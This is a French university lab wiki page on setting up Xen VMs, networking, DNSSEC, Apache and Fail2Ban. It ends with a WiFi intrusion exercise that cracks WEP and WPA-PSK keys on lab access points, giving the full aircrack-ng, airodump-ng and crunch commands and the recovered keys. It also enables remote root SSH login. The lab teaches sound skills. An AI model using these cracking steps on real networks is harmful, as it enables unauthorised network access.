« Atelier SysRes SE4 2025/2026 E10 » : différence entre les versions
| (9 versions intermédiaires par le même utilisateur non affichées) | |||
| Ligne 25 : | Ligne 25 : | ||
== Machines virtuelles == | == Machines virtuelles == | ||
=== Prérequis === | === Créer ses VMs === | ||
==== Prérequis ==== | |||
Tout d'abord, nous devons nous connecter à ''CapBreton'' pour pouvoir y créer nos machines virtuelles.<syntaxhighlight lang="shell"> | Tout d'abord, nous devons nous connecter à ''CapBreton'' pour pouvoir y créer nos machines virtuelles.<syntaxhighlight lang="shell"> | ||
ssh root@capbreton | ssh root@capbreton | ||
</syntaxhighlight>Ensuite, nous utiliserons l'hyperviseur de machine virtuelle Xen pour créer nos VMs. | </syntaxhighlight>Ensuite, nous utiliserons l'hyperviseur de machine virtuelle Xen pour créer nos VMs. | ||
=== Création === | ==== Création ==== | ||
Voici la commande permettant de créer ma machine de service | |||
xen-create-image --hostname=SE4-TomPere2 --dhcp --bridge=pont_pere --dir=/usr/local/xen --size=10GB --dist= | Voici la commande permettant de créer ma machine de service. <syntaxhighlight lang="shell"> | ||
xen-create-image --hostname=SE4-TomPere2 --dhcp --bridge=pont_pere --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2048M --force | |||
</syntaxhighlight>Maintenant que nous avons une machine virtuelle créer, il faut la démarrer et s'y connecter ! C'est ce que permettent les deux commandes suivantes :<syntaxhighlight> | |||
xen create /etc/xen/SE4-TomPere2.cfg | |||
xen console SE4-TomPere2 | |||
</syntaxhighlight> | |||
==== Vérification ==== | |||
Remarque : On peut vérifier que '''les machines virtuelles en cours d’exécution''' grâce à <code>xen list</code> .<syntaxhighlight> | |||
root@capbreton:/var# xen list | grep Tom | |||
SE4-Tompere1 389 2048 1 -b---- 3574.5 | |||
SE4-Tompere2 390 2048 1 -b---- 3343.2 | |||
SE4-Tompere0 399 2048 1 -b---- 8849.0 | |||
</syntaxhighlight>Comme on le voit, nos 3 machines sont démarrées ! | |||
=== Partionnage === | |||
==== Configuration ==== | |||
On ajoute dans le fichier <code>/etc/xen/SE4-Tompere2.cfg</code> nos partitions '''home''' et '''var'''.<syntaxhighlight lang="shell"> | |||
root = '/dev/xvda2 ro' | |||
disk = [ | |||
'file:/usr/local/xen/domains/SE4-Tompere2/disk.img,xvda2,w', | |||
'file:/usr/local/xen/domains/SE4-Tompere2/swap.img,xvda1,w', | |||
'phy:/dev/virtual/Tompere2-home,xvda3,w', | |||
'phy:/dev/virtual/Tompere2-var,xvdb1,w', | |||
] | |||
</syntaxhighlight> | </syntaxhighlight> | ||
=== | ==== Montage des partitions ==== | ||
<syntaxhighlight lang="shell"> | |||
mkfs -t ext4 /dev/xvdb1 | |||
mount /dev/xvdb1 /mnt | |||
mv /var/* /mnt | |||
umount /mnt | |||
mount -a | |||
mkfs -t ext4 /dev/xvda3 | |||
mount -a | |||
</syntaxhighlight>Le montage des partitions est fait ! On peut par ailleurs le voir via <code>lsblk</code>. Cependant, au redémarrage de la VM, les partitions ne seront pas automatiquement montées. Ainsi, il faut modifier le fichier <code>/etc/fstab</code>:<syntaxhighlight lang="shell"> | |||
proc /proc proc defaults 0 0 | |||
devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0 | |||
/dev/xvda1 none swap sw 0 0 | |||
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1 | |||
/dev/xvda3 /var ext4 defaults 0 2 | |||
/dev/xvdb1 /home ext4 defaults 0 2 | |||
</syntaxhighlight>Désormais, nos partitions '''var''' et '''home''' seront bien montés comme il se doit au démarrage. | |||
== Configuration réseau == | == Configuration réseau == | ||
Ajouter une configuration réseau à nos machines virtuelles est essentiel pour accéder à Internet et pour pouvoir utiliser SSH sur nos machines depuis l'extérieur. C'est ce que nous allons voir dans cette partie. | |||
=== Ping entre les deux machines de services === | |||
Comme premier jalon, intéressons nous à la façon de relier nos machines de services. | |||
Pour ce faire, nous avons d'abord modifier les fichiers <code>/etc/network/interfaces</code>. | |||
Sur ma machine de services TomPere2 :<syntaxhighlight lang="vim"> | |||
auto eth0 | |||
iface eth0 inet static | |||
address 192.168.0.3 | |||
netmask 255.255.255.0 | |||
gateway 192.168.0.1 | |||
</syntaxhighlight>et sur la machine mandataire TomPere0 :<syntaxhighlight lang="vim"> | |||
auto lo | |||
iface lo inet loopback | |||
auto eth0 | |||
iface eth0 inet static | |||
address 192.168.0.1 | |||
netmask 255.255.255.0 | |||
auto eth1 | |||
iface eth1 inet static | |||
address 193.48.57.168 | |||
netmask 255.255.255.224 | |||
gateway 193.48.57.162 | |||
</syntaxhighlight>Après un <code>ifdown eth0</code> puis <code>ifup eth0</code> pour charger les modifications apportées, cette configuration nous a permis de voir l'adresse IPV4 correspondante à <code>eth0</code> avec la commande <code>ip address</code>. | |||
De ce fait, nous avons pu '''ping''' d'une machine à l'autre via le commutateur virtuel. | |||
==== Résultat ==== | |||
{| class="wikitable" | |||
|+IPs de TomPere1 | |||
!TomPere1 | |||
!IPs | |||
|- | |||
|IPv4 | |||
|192.168.0.2 | |||
|- | |||
|IPv6 | |||
|2001:660:4401:60a0:216:3eff:fe4b:1909 | |||
|} | |||
Nous pouvons voir dans le tableau ci-dessus les '''IPs de la machine de service TomPere1''', ce qui nous permettra de '''tester la connexion avec l'utilitaire ping'''.<syntaxhighlight> | |||
root@SE4-Tompere2:~# ping 192.168.0.2 | |||
PING 192.168.0.2 (192.168.0.2) 56(84) bytes of data. | |||
64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=0.236 ms | |||
64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.459 ms | |||
</syntaxhighlight><syntaxhighlight> | |||
root@SE4-Tompere2:~# ping 2001:660:4401:60a0:216:3eff:fe4b:1909 | |||
PING 2001:660:4401:60a0:216:3eff:fe4b:1909 (2001:660:4401:60a0:216:3eff:fe4b:1909) 56 data bytes | |||
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=1 ttl=64 time=0.293 ms | |||
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=2 ttl=64 time=0.249 ms | |||
</syntaxhighlight>TomPere 2 reçoit bien une réponse ! | |||
=== SSH depuis l'extérieur === | |||
Pour pouvoir se SSH depuis l'extérieur, il faut commencer par activer l'option sur les machines. | |||
Pour cela, rien de plus simple, il faut aller dans le fichier <code>/etc/ssh/sshd_config</code> des VMs et activer la directive <code>PermitRootLogin</code>.<syntaxhighlight lang="shell"> | |||
PermitRootLogin yes | |||
</syntaxhighlight>Désormais, l'accès de root à distance est autorisé. On peut donc se '''ssh de TomPere2 vers TomPere1 et inversement''' !<syntaxhighlight> | |||
root@SE4-Tompere2:~# ssh root@2001:660:4401:60a0:216:3eff:fe4b:1909 | |||
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes | |||
</syntaxhighlight>C'est pratique, mais ce n'est pas encore ce que l'on veut. | |||
Nous voulons pouvoir se SSH depuis l'extérieur. L'idée va être de dire à la machine mandataire de rediriger certains ports que l'on choisit, vers les machines de services. | |||
Dans notre cas, nous appliquerons la redirection suivante : | |||
{| class="wikitable" | |||
|+ | |||
!Nom de la VM | |||
!Port de redirection associé | |||
|- | |||
|TomPere1 | |||
|2201 | |||
|- | |||
|TomPere2 | |||
|2202 | |||
|} | |||
Dans le fichier <code>/etc/sysctl.conf</code>:<syntaxhighlight lang="shell"> | |||
net.ipv4.ip_forward=1 | |||
</syntaxhighlight>Ensuite, on met à jour la modification grâce à <syntaxhighlight> | |||
sysctl -p | |||
</syntaxhighlight>Redirection des ports :<syntaxhighlight> | |||
iptables -t nat -A PREROUTING -p tcp --dport 2201 -j DNAT --to-destination 192.168.0.2:22 | |||
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.0.3:22 | |||
</syntaxhighlight>Pour que les machines internes puissent sortir sur Internet via l’adresse publique de la mandataire, nous avons appliqué une mascarade :<syntaxhighlight> | |||
iptables -t nat -A POSTROUTING -j MASQUERADE | |||
</syntaxhighlight>Grâce à cette configuration nous pouvons nous connecter sur les machines de services en SSH depuis l'extérieur, via les commandes suivantes :<syntaxhighlight> | |||
ssh root@193.48.57.168 -p2201 | |||
ssh root@193.48.57.168 -p2202 | |||
</syntaxhighlight>Super ! L'objectif est atteint. | |||
Remarque : Si on veut que cette configuration reste, il faudra par contre installer le paquet <code>iptables-persistent</code> et effectuer la sauvegarde.<syntaxhighlight> | |||
apt install iptables-persistent | |||
netfilter-persistent save | |||
</syntaxhighlight> | |||
== DNS/DNSSEC == | == DNS/DNSSEC == | ||
| Ligne 87 : | Ligne 228 : | ||
Par ailleurs, il faut bien penser à ajouter les '''permissions aux dossiers parents''' de ce fichier de zone. Sinon, des logs ''"Permission Denied"'' apparaîtront, et le DNS sera non fonctionnel. | Par ailleurs, il faut bien penser à ajouter les '''permissions aux dossiers parents''' de ce fichier de zone. Sinon, des logs ''"Permission Denied"'' apparaîtront, et le DNS sera non fonctionnel. | ||
La syntaxe de ce fichier doit être précise, | La syntaxe de ce fichier doit être précise, alors il est pratique de vérifier la validité du fichier via l'utilitaire <code>named-checkzone</code>. | ||
Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1. | Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1. | ||
| Ligne 127 : | Ligne 268 : | ||
=== DNSSEC === | === DNSSEC === | ||
Pour sécuriser le DNS | Pour sécuriser le DNS, nous devons apporter quelques modifications au fichier <code>/etc/bind/named.conf.local</code>. | ||
En effet, nous allons rajouter ces lignes dans <code>zone "tompere2.xyz"</code><syntaxhighlight lang="shell"> | |||
En effet, nous allons rajouter ces lignes dans <code>zone "tompere2.xyz"</code> <syntaxhighlight> | notify yes; // Notification des secondaires | ||
notify yes; | key-directory "/etc/bind/keys"; | ||
key-directory "/etc/bind/keys"; | dnssec-policy "dnspol"; | ||
dnssec-policy "dnspol"; | inline-signing yes; | ||
inline-signing yes; | |||
</syntaxhighlight>De plus, il faut ajouter<syntaxhighlight> | </syntaxhighlight>De plus, il faut ajouter<syntaxhighlight> | ||
dnssec-policy "dnspol" { | dnssec-policy "dnspol" { | ||
Version actuelle datée du 26 février 2026 à 17:38
Informations utiles
| Machine | Nom | Site web | IPv4 publique |
|---|---|---|---|
| Ma machine de service | TomPere2 | tompere2.xyz | NA |
| Machine de service d'Aurèle | TomPere1 | tompere.online | NA |
| Machine mandataire | TomPere0 | NA | 193.48.57.168 |
Machines virtuelles
Créer ses VMs
Prérequis
Tout d'abord, nous devons nous connecter à CapBreton pour pouvoir y créer nos machines virtuelles.
ssh root@capbreton
Ensuite, nous utiliserons l'hyperviseur de machine virtuelle Xen pour créer nos VMs.
Création
Voici la commande permettant de créer ma machine de service.
xen-create-image --hostname=SE4-TomPere2 --dhcp --bridge=pont_pere --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2048M --force
Maintenant que nous avons une machine virtuelle créer, il faut la démarrer et s'y connecter ! C'est ce que permettent les deux commandes suivantes :
xen create /etc/xen/SE4-TomPere2.cfg
xen console SE4-TomPere2Vérification
Remarque : On peut vérifier que les machines virtuelles en cours d’exécution grâce à xen list .
root@capbreton:/var# xen list | grep Tom
SE4-Tompere1 389 2048 1 -b---- 3574.5
SE4-Tompere2 390 2048 1 -b---- 3343.2
SE4-Tompere0 399 2048 1 -b---- 8849.0Comme on le voit, nos 3 machines sont démarrées !
Partionnage
Configuration
On ajoute dans le fichier /etc/xen/SE4-Tompere2.cfg nos partitions home et var.
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/SE4-Tompere2/disk.img,xvda2,w',
'file:/usr/local/xen/domains/SE4-Tompere2/swap.img,xvda1,w',
'phy:/dev/virtual/Tompere2-home,xvda3,w',
'phy:/dev/virtual/Tompere2-var,xvdb1,w',
]
Montage des partitions
mkfs -t ext4 /dev/xvdb1
mount /dev/xvdb1 /mnt
mv /var/* /mnt
umount /mnt
mount -a
mkfs -t ext4 /dev/xvda3
mount -a
Le montage des partitions est fait ! On peut par ailleurs le voir via lsblk. Cependant, au redémarrage de la VM, les partitions ne seront pas automatiquement montées. Ainsi, il faut modifier le fichier /etc/fstab:
proc /proc proc defaults 0 0
devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
Désormais, nos partitions var et home seront bien montés comme il se doit au démarrage.
Configuration réseau
Ajouter une configuration réseau à nos machines virtuelles est essentiel pour accéder à Internet et pour pouvoir utiliser SSH sur nos machines depuis l'extérieur. C'est ce que nous allons voir dans cette partie.
Ping entre les deux machines de services
Comme premier jalon, intéressons nous à la façon de relier nos machines de services.
Pour ce faire, nous avons d'abord modifier les fichiers /etc/network/interfaces.
Sur ma machine de services TomPere2 :
auto eth0
iface eth0 inet static
address 192.168.0.3
netmask 255.255.255.0
gateway 192.168.0.1
et sur la machine mandataire TomPere0 :
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 192.168.0.1
netmask 255.255.255.0
auto eth1
iface eth1 inet static
address 193.48.57.168
netmask 255.255.255.224
gateway 193.48.57.162
Après un ifdown eth0 puis ifup eth0 pour charger les modifications apportées, cette configuration nous a permis de voir l'adresse IPV4 correspondante à eth0 avec la commande ip address.
De ce fait, nous avons pu ping d'une machine à l'autre via le commutateur virtuel.
Résultat
| TomPere1 | IPs |
|---|---|
| IPv4 | 192.168.0.2 |
| IPv6 | 2001:660:4401:60a0:216:3eff:fe4b:1909 |
Nous pouvons voir dans le tableau ci-dessus les IPs de la machine de service TomPere1, ce qui nous permettra de tester la connexion avec l'utilitaire ping.
root@SE4-Tompere2:~# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2) 56(84) bytes of data.
64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=0.236 ms
64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.459 msroot@SE4-Tompere2:~# ping 2001:660:4401:60a0:216:3eff:fe4b:1909
PING 2001:660:4401:60a0:216:3eff:fe4b:1909 (2001:660:4401:60a0:216:3eff:fe4b:1909) 56 data bytes
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=1 ttl=64 time=0.293 ms
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=2 ttl=64 time=0.249 msTomPere 2 reçoit bien une réponse !
SSH depuis l'extérieur
Pour pouvoir se SSH depuis l'extérieur, il faut commencer par activer l'option sur les machines.
Pour cela, rien de plus simple, il faut aller dans le fichier /etc/ssh/sshd_config des VMs et activer la directive PermitRootLogin.
PermitRootLogin yes
Désormais, l'accès de root à distance est autorisé. On peut donc se ssh de TomPere2 vers TomPere1 et inversement !
root@SE4-Tompere2:~# ssh root@2001:660:4401:60a0:216:3eff:fe4b:1909
Are you sure you want to continue connecting (yes/no/[fingerprint])? yesC'est pratique, mais ce n'est pas encore ce que l'on veut.
Nous voulons pouvoir se SSH depuis l'extérieur. L'idée va être de dire à la machine mandataire de rediriger certains ports que l'on choisit, vers les machines de services.
Dans notre cas, nous appliquerons la redirection suivante :
| Nom de la VM | Port de redirection associé |
|---|---|
| TomPere1 | 2201 |
| TomPere2 | 2202 |
Dans le fichier /etc/sysctl.conf:
net.ipv4.ip_forward=1
Ensuite, on met à jour la modification grâce à
sysctl -pRedirection des ports :
iptables -t nat -A PREROUTING -p tcp --dport 2201 -j DNAT --to-destination 192.168.0.2:22
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.0.3:22Pour que les machines internes puissent sortir sur Internet via l’adresse publique de la mandataire, nous avons appliqué une mascarade :
iptables -t nat -A POSTROUTING -j MASQUERADEGrâce à cette configuration nous pouvons nous connecter sur les machines de services en SSH depuis l'extérieur, via les commandes suivantes :
ssh root@193.48.57.168 -p2201
ssh root@193.48.57.168 -p2202Super ! L'objectif est atteint.
Remarque : Si on veut que cette configuration reste, il faudra par contre installer le paquet iptables-persistent et effectuer la sauvegarde.
apt install iptables-persistent
netfilter-persistent saveDNS/DNSSEC
Prérequis
Nous devons configurer un serveur DNS, qui associe tompere.online et tompere2.xyz, aux machines de services.
Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.
Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.
- .key : la clé privée du domaine
- .csr : la demande de signature du certificat
Configuration du paquetage bind9
Il faut installer le paquetage bind9 avec apt.
Ensuite, il faut configurer un fichier de zone : /etc/bind/zones/tompere2_xyz/tompere2.xyz.
$TTL 400
; Zone file for tompere.online
@ IN SOA ns.tompere2.xyz. postmaster.tompere2.xyz. (
3703 ; Serial
21600 ; Refresh (6h)
3600 ; Retry (1h)
2592000 ; Expire (30 days)
86400 ; Negative cache (24h)
)
; Name servers
@ IN NS ns.tompere2.xyz.
@ IN NS ns.tompere.online.
; AAAA records (IPv6)
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
; A records (IPv4)
ns IN A 193.48.57.168
@ IN A 193.48.57.168
; CNAME records
www IN CNAME tompere2.xyz.Nous avons choisi ns comme préfixe à nos noms de domaine. Il faut veiller à bien rester cohérent en remplissant la section External Nameservers de Gandi.
Concernant l'adresse IPv4, 193.48.57.168 est l'adresse publique de la machine mandataire, ce qui est logique car elle doit être accessible depuis l'extérieur.
Par ailleurs, il faut bien penser à ajouter les permissions aux dossiers parents de ce fichier de zone. Sinon, des logs "Permission Denied" apparaîtront, et le DNS sera non fonctionnel.
La syntaxe de ce fichier doit être précise, alors il est pratique de vérifier la validité du fichier via l'utilitaire named-checkzone.
Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1.
Maintenant, modifions le fichier /etc/bind/named.conf.local
zone "tompere2.xyz" {
type master;
file "/etc/bind/zones/tompere2_xyz/tompere2.xyz";
allow-transfer { secondaries; }; // Filtrage des secondaires
also-notify { hiddensecondaries; };
};
acl "secondaries" {
192.168.0.2; // Serveur secondaire IPv4
2001:660:4401:60a0:216:3eff:fe4b:1909; // Serveur secondaire IPv6
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};
masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};
zone "tompere.online"{
type secondary;
file "/etc/bind/backup/tompere";
primaries{ 2001:660:4401:60a0:216:3eff:fe4b:1909; };
};Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour.
Glue Record
Pour que le domaine soit accessible depuis Internet, j’ai ajouté un Glue Record sur Gandi.
Cela permet d’associer l’adresse IPv4 de la machine mandataire et l’adresse IPv6 de ma machine de services aux serveurs de noms du domaine.
- ns.tompere2.xyz
- IPv4 :
193.48.57.168 - IPv6 :
2001:660:4401:60a0:216:3eff:fe3f:9410
- IPv4 :
DNSSEC
Pour sécuriser le DNS, nous devons apporter quelques modifications au fichier /etc/bind/named.conf.local.
En effet, nous allons rajouter ces lignes dans zone "tompere2.xyz"
notify yes; // Notification des secondaires
key-directory "/etc/bind/keys";
dnssec-policy "dnspol";
inline-signing yes;
De plus, il faut ajouter
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};Ces lignes servent à définir une politique de signature. Cela indique quelles clés utiliser (KSK/ZSK), leur durée de vie et l’algorithme de signature.
Les clés vont être créer automatiquement au redémarrage de bind, mais il faut pour cela créer un dossier /bind/keys
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keysEnfin, nous pouvons redémarrer bind pour vérifier la création des clés.
systemctl restart named
systemctl enable namedLes clés sont biens générées !
Il faut désormais copier la clé publique (.key) sur Gandi.
Dans mon cas, j'avais 2 clés publiques .key, donc j'ai copié ces deux clés sur Gandi, mais comme nous allons voir, une seule est utile.
Pour mieux visualiser le déploiement de notre DNS, nous pouvons utiliser deux sites bien utiles :
Remarque : Nous avons également utilisé dig pour nos tests intermédiaires.
Le premier site, DNSChecker, nous informe si la propagation de notre DNS a eu lieu.
Dans le cas de tompere2.xyz, on voit que c'est bon, aussi bien en IPv4 qu'en IPv6.
Le DNS marche bien ! Super !
Il faut maintenant s'assurer que la partie sécurisée, fonctionne également.
Rendons nous sur DNSViz, un outil qui nous donnera plus d'informations à ce sujet.
Comme on le vois, le DNSSEC fonctionne ! Cela dit, une clé est inutilisée, comme indiqué sur le schéma en gris clair. Nous pouvons la supprimer de Gandi, pour rendre l'architecture plus cohérente.
Serveur Apache
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via apache2.
Objectif
L'objectif du serveur Apache sera de pouvoir servir les pages webs de nos machines de services.
Réalisation
Installation du paquet
apt update
apt install apache2
Paramètrage sur machine mandataire
Avant de commencer, il nous faut activer quelques modules permettant le bon fonctionnement d'Apache.
a2enmod ssl: active le module SSL pour permettre les connexions sécurisées en HTTPS (TLS) avec certificats.
a2enmod proxy: active les fonctionnalités de reverse proxy, permettant à Apache de rediriger les requêtes vers un autre serveur.
a2enmod proxy_http: active le support du proxy pour le protocole HTTP.
Sur la machine mandataire, nous avons créé et rempli le fichier /etc/apache2/sites-available/000-tompere2.xyz-ssl.conf
<VirtualHost *:80>
ServerName ns.tompere2.xyz
Redirect permanent / https://tompere2.xyz/
</VirtualHost>
<VirtualHost *:443>
ServerName tompere2.xyz
ServerAlias tompere2.xyz
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/certs/tompere2.xyz.crt
SSLCertificateKeyFile /etc/ssl/private/tompere2.xyz.key
SSLCertificateChainFile /etc/ssl/certs/tompere2.xyz.pem
SSLVerifyClient None
SSLProxyEngine on
</VirtualHost>
Ce fichier permet à la machine mandataire de gérer l’accès au site tompere2.xyz.
Dans le fichier /var/www/html/index.html, nous avons modifié le titre pour pouvoir visualiser que les changements étaient bien pris en considération.
<title>Tom et Aurele Page: It works</title>
Résultat
Finalement, nous obtenons bien un accès au site tompere2.xyz avec le nouveau titre !
Fail2Ban
Contexte et objectifs
Les machines exposées en SSH sur Internet sont constamment ciblées par des attaques automatisées qui enchaînent des milliers de tentatives de connexion par force brute afin de deviner des identifiants. Il est donc essentiel de mettre en place un système comme Fail2ban pour détecter ces tentatives répétées et bloquer automatiquement les adresses IP malveillantes.
Réalisation
Installation du paquet
apt update
apt install fail2ban
Définition du Fail2Ban
Dans le fichier /etc/fail2ban/jail.local de la machine mandataire, nous pouvons définir la façon dont le fail2ban va agir.
[sshd]
enabled = true
port = ssh
filter = sshd
ignoreip = 127.0.0.1
findtime = 10m
bantime = 5m
maxretry = 3Désormais, nous sommes protégés contre les tentatives de brute force par SSH. En effet, au bout de 3 échecs consécutifs, l'utilisateur malveillant est banni temporairement.
Effraction WiFi
Cassage de clef WEP d’un point d’accès WiFi
Adresse MAC de cracotte10
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser airodump-ng. Pour ce faire, nous devons tout d'abord trouver le nom de la carte réseau. On peut trouver cela via ip link.
J'obtiens alors wlan0, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le wlx40a5efd2140c
Ensuite, on scanne grâce à:
sudo airodump-ng wlx40a5efd2140c --essid cracotte10
Nous obtenons :
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10
BSSID STATION PWR Rate Lost Frames Notes ProbesL'adresse MAC de cracotte10 est donc
04:DA:D2:9C:50:59
Récupération de données
Une fois l'adresse mac et le canal récupérés, nous pouvons récupérer un flux de données qui sera stocké dans un fichier .cap
sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump
Cassage de la clef WEP
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.
sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap
Si le programme réussit, nous obtenons la clef !
KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]
Cassage de mot de passe WPA-PSK par force brute
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.
Adresse MAC de kracotte10
Nous obtenons l'adresse MAC grâce à:
sudo airodump-ng wlx40a5efd2140c --essid kracotte10
Nous obtenons :
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10
BSSID STATION PWR Rate Lost Frames Notes ProbesL'adresse MAC de kracotte10 est donc
44:AD:D9:5F:87:09
Dictionnaire
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage crunch est l'outil parfait dans notre cas.
Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :
crunch 8 8 0123456789 -o 8numbers_dico.txt
Handshake
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :
sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump
Cassage de la clef WPA-PSK
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:
sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap
Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.
Aircrack-ng 1.7
[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)
Time left: 16 minutes, 4 seconds 66.63%
KEY FOUND! [ 66680666 ]
Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65
Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E